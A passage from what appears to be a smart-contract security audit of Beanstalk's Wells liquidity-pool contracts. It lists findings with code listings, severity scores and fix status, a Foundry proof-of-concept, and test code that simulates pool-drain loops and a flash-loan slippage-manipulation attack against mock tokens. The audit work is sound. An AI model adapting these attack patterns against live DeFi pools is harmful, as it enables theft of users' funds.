193         IERC20[] memory _tokens = tokens();
194         uint[] memory reserves = _updatePumps(_tokens.length);
195         (uint i, uint j) = _getIJ(_tokens, fromToken, toToken);
196
197         reserves[j] -= amountOut;
198         uint reserveIBefore = reserves[i];
199         reserves[i] = _calcReserve(wellFunction(), reserves, i,
↳ totalSupply());
200
201         // Note: The rounding approach of the Well function
↳ determines whether
202         // slippage from imprecision goes to the Well or to the
↳ User.
203         amountIn = reserves[i] - reserveIBefore;
204
205         require(amountIn <= maxAmountIn, "Well: slippage");
206         _setReserves(reserves);
207         _executeSwap(fromToken, toToken, amountIn, amountOut,
↳ recipient);

```

```
208     }
```

BVSS:

AO:A/AC:L/AX:M/C:N/I:H/A:N/D:L/Y:L/R:N/S:U (5.9)

Recommendation:

When updating reserves, check the balances before and after the `transfer()` to make sure the right amount is received by the `Well`.

Remediation Plan:

SOLVED: The `Beanstalk team` solved the issue by adding specific functionality for `feeOnTransfer` tokens in commit `e5441f`.

4.6 (HAL-06) MISSING TOKEN ARRAY LENGTH CONTROL IN THE CONSTRUCTOR CAN PREVENT ADDING AND REMOVING LIQUIDITY – LOW (3.1)

Description:

The `Well.sol` contract accepts up to four tokens on the constructor. If created incorrectly with an array of length four and two zeros in it, contract storage assumes tokens are array lengths of 4.

When performing transactions such as adding or removing liquidity, the contract iterates with the token length over the inputs introduced by the user. If the contract is just supposed to work with two tokens, the array introduced by the user is likely to have two positions. In those cases, the contract will revert with an Index Out Of Bound error.

This same principle also applies to the view functions related to adding or removing liquidity.

Code Location:

[Well.sol#L258](#)

Listing 7: `Well.sol` (Lines 251,258,259)

```
250     function addLiquidity(  
251         uint[] memory tokenAmountsIn,  
252         uint minLpAmountOut,  
253         address recipient  
254     ) external nonReentrant returns (uint lpAmountOut) {  
255         IERC20[] memory _tokens = tokens();  
256         uint[] memory reserves = _updatePumps(_tokens.length);  
257  
258         for (uint i; i < _tokens.length; ++i) {  
259             if (tokenAmountsIn[i] == 0) continue;  
260             _tokens[i].safeTransferFrom(  

```

```

261         msg.sender,
262         address(this),
263         tokenAmountsIn[i]
264     );
265     reserves[i] = reserves[i] + tokenAmountsIn[i];
266 }
267 lpAmountOut = _calcLpTokenSupply(wellFunction(), reserves)
↳ - totalSupply();
268
269 require(lpAmountOut >= minLpAmountOut, "Well: slippage");
270 _mint(recipient, lpAmountOut);
271 _setReserves(reserves);
272 emit AddLiquidity(tokenAmountsIn, lpAmountOut);
273 }

```

Well.sol#L307

Listing 8: Well.sol (Line 195)

```

296     function removeLiquidity(
297         uint lpAmountIn,
298         uint[] calldata minTokenAmountsOut,
299         address recipient
300     ) external nonReentrant returns (uint[] memory tokenAmountsOut
↳ ) {
301         IERC20[] memory _tokens = tokens();
302         uint[] memory reserves = _updatePumps(_tokens.length);
303         uint lpTokenSupply = totalSupply();
304
305         tokenAmountsOut = new uint[](_tokens.length);
306         _burn(msg.sender, lpAmountIn);
307         for (uint i; i < _tokens.length; ++i) {
308             tokenAmountsOut[i] = (lpAmountIn * reserves[i]) /
↳ lpTokenSupply;
309             require(
310                 tokenAmountsOut[i] >= minTokenAmountsOut[i],
311                 "Well: slippage"
312             );
313             _tokens[i].safeTransfer(recipient, tokenAmountsOut[i])
↳ ;
314             reserves[i] = reserves[i] - tokenAmountsOut[i];
315         }
316

```

```

317     _setReserves(reserves);
318     emit RemoveLiquidity(lpAmountIn, tokenAmountsOut);
319 }

```

Proof Of Concept:

This test creates a Well with an array of four tokens, but just giving non-zero values to two of them. It attempts to add liquidity with a two length array of amounts.

Listing 9: Tester.t.sol

```

1     function testIndexOutOfBounds() public {
2         IERC20[] memory ltokens = new IERC20[](4);
3         ltokens[0] = tokens[0];
4         ltokens[1] = tokens[1];
5         Call[] memory _pumps = new Call[](0);
6
7         Well well = Well(auger.bore( 'MyWell', 'Well', ltokens,
↳ Call(address(new ConstantProduct2()), new bytes(0)), _pumps));
8
9
10        tokens[0].mint(user4, 10 ether);
11        tokens[1].mint(user4, 10 ether);
12        tokens[0].mint(user2, 10 ether);
13
14        uint[] memory tokenAmountsIn = new uint[](2);
15        tokenAmountsIn[0] = 10 ether;
16        tokenAmountsIn[1] = 10 ether;
17
18        vm.startPrank(user4);
19
20        tokens[0].approve(address(well), 10 ether);
21        tokens[1].approve(address(well), 10 ether);
22        well.addLiquidity(tokenAmountsIn, 0, user4);
23
24        vm.stopPrank();
25    }

```

As it is possible to observe from the next screenshot, the test triggers the revert as previously explained.

```

PS F:\... (Wells> forge test --match-test testIndexOutOfBounds -vvv
[ ] Compiling...
[ ] Compiling 1 files with 0.8.17
[ ] Solc 0.8.17 finished in 4.53s
Compiler run successful

Running 1 test for test/Audit tests/Tester.t.sol:Tester
[FAIL Reason: Index out of bounds] testIndexOutOfBounds() (gas: 4419439)
Traces:
[4419439] Tester::testIndexOutOfBounds()
  [335774] → new ConstantProduct20x0x66bbDE9174b1CdAa358d2Cf4D57D1a9F7178FBFF
    ↳ 1077 bytes of code
  [378335] → new Well(MyWell6and18, WLG_18, [0x2c2340Ae75C793f67A35889C90992451C58470b, 0xF62849F9A8B5Bf2913b396898F7C7019b51A820a, 0x00000000000000000000000000000000])
    ↳ 3747782] → new Well(0x184fbc016f4bb334d775a19E8A6510109AC63E00
      ↳ + 18334 bytes of code
      ↳ Well: [0x184fbc016f4bb334d775a19E8A6510109AC63E00]
    [46765] MockToken::mint(0x1eff47bc3a10a45D4B230B5d10E37751FE6AA718, 100000000000000000)
      ↳ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x1eff47bc3a10a45D4B230B5d10E37751FE6AA718, value: 100000000000000000)
      ↳ true
    [46765] MockToken::mint(0x1eff47bc3a10a45D4B230B5d10E37751FE6AA718, 100000000000000000)
      ↳ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x1eff47bc3a10a45D4B230B5d10E37751FE6AA718, value: 100000000000000000)
      ↳ true
    [24865] MockToken::mint(0x2B5AD5c4795c026514f8317c7a215E218DcD6cF, 100000000000000000)
      ↳ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x2B5AD5c4795c026514f8317c7a215E218DcD6cF, value: 100000000000000000)
      ↳ true
    [0] VM::startPrank(0x1eff47bc3a10a45D4B230B5d10E37751FE6AA718)
    ↳ ( )
    [24651] MockToken::approve(Well: [0x184fbc016f4bb334d775a19E8A6510109AC63E00], 100000000000000000)
      ↳ emit Approval(owner: 0x1eff47bc3a10a45D4B230B5d10E37751FE6AA718, spender: Well: [0x184fbc016f4bb334d775a19E8A6510109AC63E00], value: 100000000000000000)
      ↳ true
    [24651] MockToken::approve(Well: [0x184fbc016f4bb334d775a19E8A6510109AC63E00], 100000000000000000)
      ↳ emit Approval(owner: 0x1eff47bc3a10a45D4B230B5d10E37751FE6AA718, spender: Well: [0x184fbc016f4bb334d775a19E8A6510109AC63E00], value: 100000000000000000)
      ↳ true
    [54504] Well::addLiquidity(1000000000000000000, 1000000000000000000, 0, 0x1eff47bc3a10a45D4B230B5d10E37751FE6AA718)
      ↳ emit Approval(owner: 0x1eff47bc3a10a45D4B230B5d10E37751FE6AA718, Well: [0x184fbc016f4bb334d775a19E8A6510109AC63E00], value: 0)
      ↳ emit Transfer(from: 0x1eff47bc3a10a45D4B230B5d10E37751FE6AA718, to: Well: [0x184fbc016f4bb334d775a19E8A6510109AC63E00], value: 0)
      ↳ true
    [22159] MockToken::transferFrom(0x1eff47bc3a10a45D4B230B5d10E37751FE6AA718, Well: [0x184fbc016f4bb334d775a19E8A6510109AC63E00], 100000000000000000)
      ↳ emit Approval(owner: 0x1eff47bc3a10a45D4B230B5d10E37751FE6AA718, spender: Well: [0x184fbc016f4bb334d775a19E8A6510109AC63E00], value: 0)
      ↳ emit Transfer(from: 0x1eff47bc3a10a45D4B230B5d10E37751FE6AA718, to: Well: [0x184fbc016f4bb334d775a19E8A6510109AC63E00], value: 100000000000000000)
      ↳ true
    ↳ "Index out of bounds"
    ↳ "Index out of bounds"

Test result: FAILED. 0 passed; 1 failed; finished in 4.88ms

Failing tests:
Encountered 1 failing test in test/Audit tests/Tester.t.sol:Tester
[FAIL Reason: Index out of bounds] testIndexOutOfBounds() (gas: 4419439)

```

BVSS:

A0:A/AC:L/AX:L/C:N/I:N/A:L/D:N/Y:N/R:N/S:C (3.1)

Recommendation:

Do not allow creating a Well with token zero as address. Also, check the length of the user input on add and remove liquidity functions, comparing it to the token length obtained from storage before iterating.

Remediation Plan:

ACKNOWLEDGED: The Beanstalk team acknowledged this issue.

4.7 (HAL-07) UNNECESSARY TYPE CASTING - INFORMATIONAL (0.0)

Description:

The function `calcReserve` of the `ConstantProduct2.sol` contract casts to `uint` an operation that is already performed between `uint` type variables.

Code Location:

Code Section - `ConstantProduct2.sol#L42`

Listing 10: `ConstantProduct2.sol` (Line 42)

```

36 function calcReserve(
37     uint[] calldata reserves,
38     uint j,
39     uint lpTokenSupply,
40     bytes calldata
41 ) external override pure returns (uint reserve) {
42     reserve = uint((lpTokenSupply / 2) ** 2) / EXP_PRECISION;
43     reserve = LibMath.roundedDiv(reserve, reserves[j] == 1 ? 0 :
↳ 1]);
44 }

```

BVSS:

A0:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation:

Consider removing the unnecessary casting. Nonetheless, the gas differential testing with and without the casting do not seem any different. Thus, it is possible that is removed automatically by the compiler.

Remediation Plan:

SOLVED: The `Beanstalk team` solved the issue in commit `e5441fc7`.

4.8 (HAL-08) USE SAFE TAG IN INLINE ASSEMBLY CODE SECTIONS - INFORMATIONAL (0.0)

Description:

Solidity 0.8.13 marked the production readiness of the Yul IR pipeline. This, helps to alleviate stack too deep errors and to optimize the code compilation.

To mark a section as memory safe, it is only required to use the next expression when opening an inline assembly block:

Listing 11: Example Usage

```
1 assembly ("memory-safe") {  
2     ...  
3 }
```

A memory-safe assembly block may only access the following memory ranges:

- Memory allocated by yourself using a mechanism like the `allocate` function described above.
- Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.
- The scratch space between memory offset 0 and 64 mentioned above.
- Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly block, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.

The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions.

BVSS:

A0:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation:

Consider using the memory safe tag if appropriate for the assembly blocks.

Remediation Plan:

ACKNOWLEDGED: The [Beanstalk team](#) acknowledged this issue.

4.9 (HAL-09) USE CUSTOM ERRORS TO SAVE GAS - INFORMATIONAL (0.0)

Description:

Custom errors are available from Solidity version 0.8.4. Custom errors save ~50 gas each time they are hit by avoiding having to [allocate and store the revert string](#). Not defining strings also saves deployment gas.

BVSS:

A0:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation:

Consider replacing all revert strings with custom errors.

Remediation Plan:

SOLVED: The [Beanstalk team](#) solved the issue in commit [e5441fc7](#).

4.10 (HAL-10) UNNEEDED INITIALIZATION OF INTEGER VARIABLES TO 0 - INFORMATIONAL (0.0)

Description:

As `i` is an `uint256`, it is already initialized to 0. `uint256 i = 0` reassigns the 0 to `i` which wastes gas.

Code Location:

Listing 12: GeoEmaAndCumSmaPump.sol (Line 88)

```

81     function pumps() public pure returns (Call[] memory _pumps) {
82         if (numberOfPumps() == 0) return _pumps;
83
84         _pumps = new Call[](numberOfPumps());
85         uint dataLoc = LOC_VARIABLE + numberOfTokens() * 32 +
↳ wellFunctionDataLength();
86
87         uint pumpDataLength;
88         for (uint i = 0; i < _pumps.length; i++) {
89             _pumps[i].target = _getArgAddress(dataLoc);
90             dataLoc += 20;
91             pumpDataLength = _getArgUint256(dataLoc);
92             dataLoc += 32;
93             _pumps[i].data = _getArgBytes(dataLoc, pumpDataLength)
↳ ;
94             dataLoc += pumpDataLength;
95         }
96     }

```

BVSS:

A0:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation:

It is recommended not to initialize `uint` variables to `0` to reduce the gas costs. For example, use instead:

Listing 13: GeoEmaAndCumSmaPump.sol (Line 88)

```
88     for (uint i; i < _pumps.length; i++) {
```

Remediation Plan:

SOLVED: The `Beanstalk team` solved the issue in commit [53b3a11a](#)



MANUAL TESTING

The manual testing is structured on (1) unit testing of all the functions, (2) integration testing combining sets of transactions testing corner cases, (3) attacking parts of the code to assure that there are no vulnerable, and finally, (4) fuzzing important functions to make sure everything works properly in all cases.

5.1 Wells Environment

Deployment Script:

```
11 contract MyTest is TestHelper {
12
13     using MyMath for uint256;
14
15     address internal owner;
16     address internal liqPr;
17     address internal floan;
18     address internal alice;
19     address internal bobby;
20     address internal carla;
21     address internal edgar;
22     address internal zeroo;
23     MockToken internal xToken;
24     MockToken internal yToken;
25     MockToken internal zToken;
26     address internal xTokenAdd;
27     address internal yTokenAdd;
28     address internal zTokenAdd;
29
30     uint[] internal tokenAmountsOut;
31     uint256[] internal amounts;
32     uint256[] internal amountsOut;
33     uint256 internal amount;
34     uint256 internal amount1;
35     uint256 internal amount2;
36     uint256 internal amount3;
37     uint256 internal amountX;
38     uint256 internal amountY;
39     uint256 internal amountZ;
40     uint256 internal lpAmountIn;
41     uint256 internal lpAmountOut;
42     uint256 internal amountIn;
43     uint256 internal amountOut;
44     uint256 internal minAmountOut;
45     uint256 internal maxAmountIn;
46
47     uint256 internal timeNow = block.timestamp;
48
49     event AddLiquidity(uint[] amounts);
```

```
50
51 function setUp() public {
52     owner = vm.addr(0x600DD);
53     liqPr = vm.addr(0x7181D);
54     floan = vm.addr(0xF7A28);
55     alice = vm.addr(0xA71CE);
56     bobby = vm.addr(0xB0BB1);
57     carla = vm.addr(0xCA47A);
58     edgar = vm.addr(0xED6A4);
59     zeroo = address(0);
60
61     // WELL SETUP
62     xSetupWell(2);
63     logTokenSimpleBalances();
64
65     // MINTING AND TRANSFERS OF ERC20TOKENS
66     xSetupTokens();
67     logTokenSimpleBalances();
68
69     Call memory xWellFunction = well.wellFunction();
70
71     xTokenAdd = address(xToken);
72     yTokenAdd = address(yToken);
```


Helper Functions:

```

1390 ///////////////////////////////////////////////////////////////////
1391 // HELPER FUNCTIONS
1392 ///////////////////////////////////////////////////////////////////
1393
1394 function xSwapFrom(IERC20 fromToken, IERC20 toToken, uint256 amountIn, uint256 minAmountOut, address swaper) internal
1395 {
1396     console.log("TX: SWAPING... ", swaper);
1397     console.log("");
1398     vm.prank(swaper);
1399     fromToken.approve(address(well), amountIn);
1400     vm.prank(swaper);
1401     amount = well.swapFrom(fromToken, toToken, amountIn, minAmountOut, swaper);
1402 }
1403
1404 function xSwapTo(IERC20 fromToken, IERC20 toToken, uint256 maxAmountIn, uint256 amountOut, address swaper) internal {
1405     console.log("TX: SWAPING... ", swaper);
1406     console.log("");
1407     vm.prank(swaper);
1408     fromToken.approve(address(well), maxAmountIn);
1409     vm.prank(swaper);
1410     well.swapTo(fromToken, toToken, maxAmountIn, amountOut, swaper);
1411 }
1412
1413 function xRemLiq(uint256 lpAmountIn, uint256 amounts1, uint256 amounts2, address provider) internal {
1414     console.log("TX: REMOVING LIQUIDITY... ", provider);
1415     console.log("");
1416     uint256[] memory amountsOut = new uint[](tokens.length);
1417     amountsOut[0] = amounts1;
1418     amountsOut[1] = amounts2;
1419     vm.prank(provider);
1420     well.removeLiquidity(lpAmountIn, amountsOut, provider);
1421 }
1422
1423 function xRemLiq1t(uint256 lpAmountIn, IERC20 tokenOut, uint256 minTokenAmountOut, address recipient) internal returns:
1424 {
1425     console.log("TX: REMOVING LIQUIDITY 1 TOKEN... ", recipient);
1426     console.log("");
1427     vm.prank(recipient);
1428     amount = well.removeLiquidityOneToken(lpAmountIn, tokenOut, minTokenAmountOut, recipient);
1429 }
1430
1431 function xRemLiqImb(uint256 maxLpAmountIn, uint[] calldata tokenAmountsOut, address recipient) internal returns (uint:
1432 {
1433     console.log("TX: REMOVING LIQUIDITY IMBALANCED... ", recipient);
1434     console.log("");
1435     vm.prank(recipient);
1436     amount = well.removeLiquidityImbalanced(maxLpAmountIn, tokenAmountsOut, recipient);
1437 }
1438
1439 function xAddLiq(address provider, address token1, address token2, uint256 amount1, uint256 amount2, uint256 lpAmount:
1440 {
1441     console.log("TX: ADDING LIQUIDITY... ", provider);
1442     console.log("");
1443     amounts = new uint[](tokens.length);
1444     amounts[0] = amount1;
1445     amounts[1] = amount2;
1446     //amounts[2] = amount3;
1447     vm.startPrank(provider);
1448     IERC20(address(token1)).approve(address(well), amount1);
1449     IERC20(address(token2)).approve(address(well), amount2);
1450     //IERC20(address(token3)).approve(address(well), amount3);
1451     wellAmount = well.addLiquidity(amounts, lpAmountOut, provider);
1452     vm.stopPrank();
1453 }
1454
1455 function xSetupWell(uint n) internal {
1456     Call[] memory _pumps = new Call[](0);
1457     xSetupWell(
1458         n,
1459         Call(address(new ConstantProduct2()), new bytes(0)),
1460         _pumps
1461     );
1462 }

```

```

1460     function xSetupWell(uint n, Call memory _function, Call[] memory _pumps) internal {
1461         wellFunction = _function;
1462         for(uint i = 0; i < _pumps.length; i++)
1463             pumps.push(_pumps[i]);
1464
1465         xToken = new MockToken("xToken", "XTOK", 18);
1466         yToken = new MockToken("yToken", "YTOK", 18);
1467         //zToken = new MockToken("zToken", "ZTOK", 18);
1468
1469         xTokenAdd = address(xToken);
1470         yTokenAdd = address(yToken);
1471         //zTokenAdd = address(zToken);
1472
1473         tokens.push(xToken);
1474         tokens.push(yToken);
1475         //tokens.push(zToken);
1476
1477         auger = new Auger();
1478         well = Well(auger.bore(
1479             "XTOK:YTOK Constant Product Well",
1480             "XTOKYTOKCPw",
1481             tokens,
1482             _function,
1483             _pumps
1484         ));
1485
1486         //well = new Well(tokens, _function, _pumps, "XTOK:YTOK Constant Product Well", "XTOKYTOKCPw");
1487     }
1488
1489     function xSetupTokens() internal {
1490         // DEPLOYING AND MINTING TOKEN
1491         xToken.mint(owner, 1_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1492         yToken.mint(owner, 1_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1493         //zToken.mint(owner, 1000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1494
1495         vm.startPrank(owner);
1496         xToken.transfer(floan, 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1497         yToken.transfer(floan, 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1498
1499         xToken.transfer(liqPr, 100_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1500         yToken.transfer(liqPr, 100_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1501         //zToken.transfer(liqPr, 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1502
1503         // xToken.transfer(alice, 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1504         // yToken.transfer(alice, 10_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1505         // zToken.transfer(alice, 25_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1506         xToken.transfer(alice, 100_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1507         yToken.transfer(alice, 100_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1508
1509         xToken.transfer(bobby, 100_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1510         yToken.transfer(bobby, 100_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1511         //zToken.transfer(bobby, 250_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1512
1513         xToken.transfer(carla, 100_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000);
1514         vm.stopPrank();
1515     }

```

```

1517 function logTokenSimpleBalances() internal {
1518     console.log("***** X TOKEN BALANCES *****");
1519     console.log("X Balance Of Liquidity Prov   ->> ", xToken.balanceOf(liqPr));
1520     console.log("X Balance Of Flash Loan Prov  ->> ", xToken.balanceOf(floan));
1521     console.log("X Balance Of Alice           ->> ", xToken.balanceOf(alice));
1522     console.log("X Balance Of Bobby           ->> ", xToken.balanceOf(bobby));
1523     console.log("X Balance Of Carla           ->> ", xToken.balanceOf(carla));
1524     console.log(" ");
1525     console.log("***** Y TOKEN BALANCES *****");
1526     console.log("Y Balance Of Liquidity Prov   ->> ", yToken.balanceOf(liqPr));
1527     console.log("Y Balance Of Flash Loan Prov  ->> ", yToken.balanceOf(floan));
1528     console.log("Y Balance Of Alice           ->> ", yToken.balanceOf(alice));
1529     console.log("Y Balance Of Bobby           ->> ", yToken.balanceOf(bobby));
1530     console.log("Y Balance Of Carla           ->> ", yToken.balanceOf(carla));
1531     console.log(" ");
1532     // console.log("***** Z TOKEN BALANCES *****");
1533     // console.log("Z Balance Of Liquidity Prov   ->> ", zToken.balanceOf(liqPr));
1534     // console.log("Z Balance Of Alice           ->> ", zToken.balanceOf(alice));
1535     // console.log("Z Balance Of Bobby           ->> ", zToken.balanceOf(bobby));
1536     // console.log("Z Balance Of Carla           ->> ", zToken.balanceOf(carla));
1537     // console.log(" ");
1538 }
1539
1540 function logTokenComplexBalances() internal {
1541     console.log("***** X TOKEN BALANCES *****");
1542     console.log("X Balance Of Well           ->> ", xToken.balanceOf(address(well)));
1543     console.log("X Balance Of Liquidity Prov   ->> ", xToken.balanceOf(liqPr));
1544     console.log("X Balance Of Flash Loan Prov  ->> ", xToken.balanceOf(floan));
1545     console.log("X Balance Of Alice           ->> ", xToken.balanceOf(alice));
1546     console.log("X Balance Of Bobby           ->> ", xToken.balanceOf(bobby));
1547     console.log("X Balance Of Carla           ->> ", xToken.balanceOf(carla));
1548     console.log(" ");
1549     console.log("***** Y TOKEN BALANCES *****");
1550     console.log("Y Balance Of Well           ->> ", yToken.balanceOf(address(well)));
1551     console.log("Y Balance Of Liquidity Prov   ->> ", yToken.balanceOf(liqPr));
1552     console.log("Y Balance Of Flash Loan Prov  ->> ", yToken.balanceOf(floan));
1553     console.log("Y Balance Of Alice           ->> ", yToken.balanceOf(alice));
1554     console.log("Y Balance Of Bobby           ->> ", yToken.balanceOf(bobby));
1555     console.log("Y Balance Of Carla           ->> ", yToken.balanceOf(carla));
1556     console.log(" ");
1557     // console.log("***** Z TOKEN BALANCES *****");
1558     // console.log("Z Balance Of Liquidity Prov   ->> ", zToken.balanceOf(liqPr));
1559     // console.log("Z Balance Of Alice           ->> ", zToken.balanceOf(alice));
1560     // console.log("Z Balance Of Bobby           ->> ", zToken.balanceOf(bobby));
1561     // console.log("Z Balance Of Carla           ->> ", zToken.balanceOf(carla));
1562     // console.log(" ");
1563     console.log("***** LP WELL TOKEN BALANCES *****");
1564     console.log("LP Balance Of Liquidity Prov ->> ", well.balanceOf(liqPr));
1565     console.log("LP Balance Of Alice         ->> ", well.balanceOf(alice));
1566     console.log("LP Balance Of Bobby         ->> ", well.balanceOf(bobby));
1567     console.log("LP Balance Of Carla         ->> ", well.balanceOf(carla));
1568     console.log(" ");
1569 }
1570
1571 function logReserves() internal {
1572     console.log("***** WELL RESERVES *****");
1573     uint256[] memory reserves = well.getReserves();
1574     console.log("RESERVE 1           ->> ", reserves[0]);
1575     console.log("RESERVE 2           ->> ", reserves[1]);
1576     console.log("RESERVE 3           ->> ", reserves[2]);
1577     console.log(" ");
1578 }

```

5.2 Significant Tests for Wells

Here are some examples of the tests performed:

```

966 // Test 8
967 // Add Liquidity Attack
968 function testAddLiquidityAttackDesbalanced2() public {
969     // XTOK AND Y TOK SAME VALUE
970     console.log("-----");
971     console.log("LIQPR TOTAL VALUE ON Y TOKEN: ", xToken.balanceOf(liqPr) + yToken.balanceOf(liqPr));
972     console.log("ALICE TOTAL VALUE ON Y TOKEN: ", xToken.balanceOf(alice) + yToken.balanceOf(alice));
973     logTokenComplexBalances();
974     // SETUP LIQUIDITY PROVIDER ADDING LIQUIDITY
975     amount1 = 1_000_0000000000000000;
976     amount2 = 1_000_0000000000000000;
977     lpAmountOut = 2_000_000_000_000_0000000000000000;
978
979     xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);
980     //logTokenComplexBalances();
981
982     // ALICE PROVIDER ADDING LIQUIDITY
983     amount1 = 500_0000000000000000;
984     amount2 = 1_500_0000000000000000;
985     lpAmountOut = 1_872_983_346_207_416885179265399782;
986
987     xAddLiq(address(alice), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);
988     //logTokenComplexBalances();
989
990     lpAmountIn = 1_872_983_346_207_416885179265399782;
991     amount1 = 1_0000000000000000;
992     amount2 = 1_0000000000000000;
993     xRemLiq(lpAmountIn, amount1, amount2, address(alice));
994     //logTokenComplexBalances();
995
996     lpAmountIn = 2_000_000_000_000_0000000000000000;
997     amount1 = 1_0000000000000000;
998     amount2 = 1_0000000000000000;
999     xRemLiq(lpAmountIn, amount1, amount2, address(liqPr));
1000     logTokenComplexBalances();
1001
1002     console.log("LIQPR TOTAL VALUE ON Y TOKEN: ", xToken.balanceOf(liqPr) + yToken.balanceOf(liqPr));
1003     console.log("ALICE TOTAL VALUE ON Y TOKEN: ", xToken.balanceOf(alice) + yToken.balanceOf(alice));
1004     // ATTACK NOT SUCCEED
1005 }
645 function testDrainPool() public {
646     uint256 minLpAmountOut;
647
648     amount1 = 100_000_0000000000000000;
649     amount2 = 100_000_0000000000000000;
650     minLpAmountOut = 1;
651     xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, minLpAmountOut);
652
653     for (uint256 i; i < 10; ++i) {
654         amount1 = 0;
655         amount2 = 1_0000000000000000;
656         minLpAmountOut = 1;
657         uint256 wells = xAddLiq(address(alice), xTokenAdd, yTokenAdd, amount1, amount2, minLpAmountOut);
658
659         uint256 amountX = xRemLiq1t(wells, IERC20(xTokenAdd), 1, alice);
660
661         uint amountY = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountX, 1, alice);
662
663         logTokenSimpleBalances();
664     }
665 }

```

```

667 function testDrainPool2() public {
668     uint256 minLpAmountOut;
669
670     amount1 =             100_000_000000000000000000;
671     amount2 =             200_000_000000000000000000;
672     minLpAmountOut =     1;
673     xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, minLpAmountOut);
674
675     amount1 =             0;
676     amount2 =             10_000000000000000000;
677     minLpAmountOut =     1;
678
679     for (uint256 i; i < 10; ++i) {
680         uint256 wells = xAddLiq(address(alice), xTokenAdd, yTokenAdd, amount1, amount2, minLpAmountOut);
681         uint amountY = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), 1_0000000000000000, 1, alice);
682         amount2 = xRemLiqIt(wells, IERC20(yTokenAdd), 1, alice);
683         amount2 = amount2 + amountY;
684         logTokenSimpleBalances();
685     }
686 }
687
688 function testDrainPool3() public {
689     uint256 minLpAmountOut;
690
691     amount1 =             100_000_000000000000000000;
692     amount2 =             100_000_000000000000000000;
693     minLpAmountOut =     1;
694     xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, minLpAmountOut);
695
696     amount1 =             0;
697     amount2 =             10_000000000000000000;
698     minLpAmountOut =     1;
699     for (uint256 i; i < 10; ++i) {
700
701         uint256 wells = xAddLiq(address(alice), xTokenAdd, yTokenAdd, amount1, amount2, minLpAmountOut);
702         uint amountY = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), 1_0000000000000000, 1, alice);
703         uint amountX = xRemLiqIt(wells, IERC20(xTokenAdd), 1, alice);
704         amount2 = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountX, 1, alice);
705         amount2 = amount2 + amountY;
706         logTokenSimpleBalances();
707     }
708 }

```

```

function testSpecificSlippageManipulationX1() public {
    logTokenComplexBalances();
    // ----- SETUP -----
    // token 1 (xToken) worth 1$
    // token 2 (yToken) worth 2$
    amount2 = 407_881_372044690609611731;
    amount1 = 2 * amount2;
    minAmountOut = 1;
    xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, minAmountOut);

    uint256 value1 = xToken.balanceOf(alice) + 2 * yToken.balanceOf(alice);
    // ----- SCENARIO 1 -----
    uint256 amountIn = 10_178_190357730609611534;
    uint256 swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn, 1, alice);
    //xRemLiq(well.balanceOf(liqPr), 1, 1, liqPr);

    console.log("Total token value in $$$$: ", value1);

    // SWAP IS REVERTED
    xSwapFrom(IERC20(yTokenAdd), IERC20(xTokenAdd), amountIn, 1, alice);

    // ----- SCENARIO 2 -----
    console.log("----- SCENARIO 2 -----");

    // ALICE RECEIVES A FLASHLOAN
    vm.startPrank(floan);
    uint256 flashAmountY = 17_850_885896890698776930;
    uint256 flashAmountX = 2 * flashAmountY;
    xToken.transfer(alice, flashAmountX);
    yToken.transfer(alice, flashAmountY);
    vm.stopPrank();

    // ALICE ADDS BIG AMOUNT OF LIQUIDITY
    xAddLiq(address(alice), xTokenAdd, yTokenAdd, flashAmountX, flashAmountY, minAmountOut);

    // ALICE PERFORMS THE SAME SWAP
    swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn, 1, alice);

    // ALICE REMOVES LIQUIDITY AND PAYS THE FLASHLOAN
    xRemLiq(well.balanceOf(alice), 1, 1, alice);
    vm.startPrank(alice);
    xToken.transfer(floan, flashAmountX);
    yToken.transfer(floan, flashAmountY);
    vm.stopPrank();

    logTokenComplexBalances();
